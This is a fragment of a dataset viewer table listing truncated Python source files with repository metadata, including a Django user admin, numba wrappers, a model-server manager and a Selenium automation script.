"Apache-2.0"
] | 1 | 2021-11-16T08:15:13.000Z | 2021-11-16T08:15:13.000Z | bcs-ui/backend/resources/workloads/replicaset/formatter.py | kayinli/bk-bcs | 93a0856175f7b066ef835921572c1cac590dbd8e | [
"Apache-2.0"
] | null | null | null | bcs-ui/backend/resources/workloads/replicaset/formatter.py | kayinli/bk-bcs | 93a0856175f7b066ef835921572c1cac590dbd8e | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Tencent is pleased to support the open source community by making 蓝鲸智云PaaS平台社区版 (BlueKing PaaS Community
Edition) available.
Copyright (C) 2017-2021 THL A29 Limited, a Tencent company. All rights reserved.
Licensed under the MIT License (the "License"); you may not use this file except in co... | 40.88 | 115 | 0.780822 |
c216aca0723d8afa7f5e3007e3cb895fcc2dd043 | 5,464 | py | Python | mms/service_manager.py | abhinavs95/mxnet-model-server | 901c1a9a2def8373cd9a91c8d2f47248eed281cc | [
"Apache-2.0"
] | 1 | 2019-01-10T20:56:25.000Z | 2019-01-10T20:56:25.000Z | mms/service_manager.py | frankfliu/mxnet-model-server | ce36c9e35efc17efe0fb79bb7019bdf3593131a5 | [
"Apache-2.0"
] | null | null | null | mms/service_manager.py | frankfliu/mxnet-model-server | ce36c9e35efc17efe0fb79bb7019bdf3593131a5 | [
"Apache-2.0"
] | null | null | null | # Copyright 2017 Amazon.com, Inc. or its affiliates. All Rights Reserved.
# Licensed under the Apache License, Version 2.0 (the "License").
# You may not use this file except in compliance with the License.
# A copy of the License is located at
# http://www.apache.org/licenses/LICENSE-2.0
# or in the "license" file... | 37.682759 | 109 | 0.66929 |
e99018f7dadaf760a95e8a24fec67c5bd58d11ef | 12,338 | py | Python | python/katana/native_interfacing/wrappers.py | origandrew/katana | 456d64cf48a9d474dc35fb17e4d841bfa7a2f383 | [
"BSD-3-Clause"
] | null | null | null | python/katana/native_interfacing/wrappers.py | origandrew/katana | 456d64cf48a9d474dc35fb17e4d841bfa7a2f383 | [
"BSD-3-Clause"
] | null | null | null | python/katana/native_interfacing/wrappers.py | origandrew/katana | 456d64cf48a9d474dc35fb17e4d841bfa7a2f383 | [
"BSD-3-Clause"
] | 1 | 2021-08-18T08:46:05.000Z | 2021-08-18T08:46:05.000Z | import ctypes
import logging
from abc import ABCMeta, abstractmethod
from functools import lru_cache
from typing import Optional, Sequence, Union
import numba.core.ccallback
import numba.types
import numpy as np
from llvmlite import ir
from numba import from_dtype
from numba.core import cgutils, imputils
from numba.co... | 36.94012 | 119 | 0.66437 |
6f1d734696420c0e7e42d7ff50942a6eaf14fe3a | 777 | py | Python | app/core_app/admin.py | ruhankhandakar/recipe-app-api | 55eb2109b0e91d6bb193a1745ea6cdde3ac43e01 | [
"MIT"
] | null | null | null | app/core_app/admin.py | ruhankhandakar/recipe-app-api | 55eb2109b0e91d6bb193a1745ea6cdde3ac43e01 | [
"MIT"
] | null | null | null | app/core_app/admin.py | ruhankhandakar/recipe-app-api | 55eb2109b0e91d6bb193a1745ea6cdde3ac43e01 | [
"MIT"
] | null | null | null | from django.contrib import admin
from django.contrib.auth.admin import UserAdmin as BaseUserAdmin
from django.utils.translation import gettext as _
from .models import User
# Register your models here.
class UserAdmin(BaseUserAdmin):
ordering = ['id']
list_display = ['email', 'name']
fieldsets = (
... | 26.793103 | 83 | 0.574003 |
2084bc1be844798ed223843e0f82bbaa2ed7ff69 | 6,461 | py | Python | combiners/close.py | masudul-hasan/autobot | 2fbbb954b6583a44935f303e042dd5cf1b349cc7 | [
"MIT"
] | null | null | null | combiners/close.py | masudul-hasan/autobot | 2fbbb954b6583a44935f303e042dd5cf1b349cc7 | [
"MIT"
] | null | null | null | combiners/close.py | masudul-hasan/autobot | 2fbbb954b6583a44935f303e042dd5cf1b349cc7 | [
"MIT"
] | null | null | null | from rich.live import Live
from selenium.webdriver.chrome.webdriver import WebDriver
from pages.base import BasePage
from pages.closerequest import CloseRequests
from pages.createrequest import CreateRequests
from pages.home import HomePage
from pages.login import LoginPage
from prettify.close_prettifier import CloseP... | 62.125 | 114 | 0.532271 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.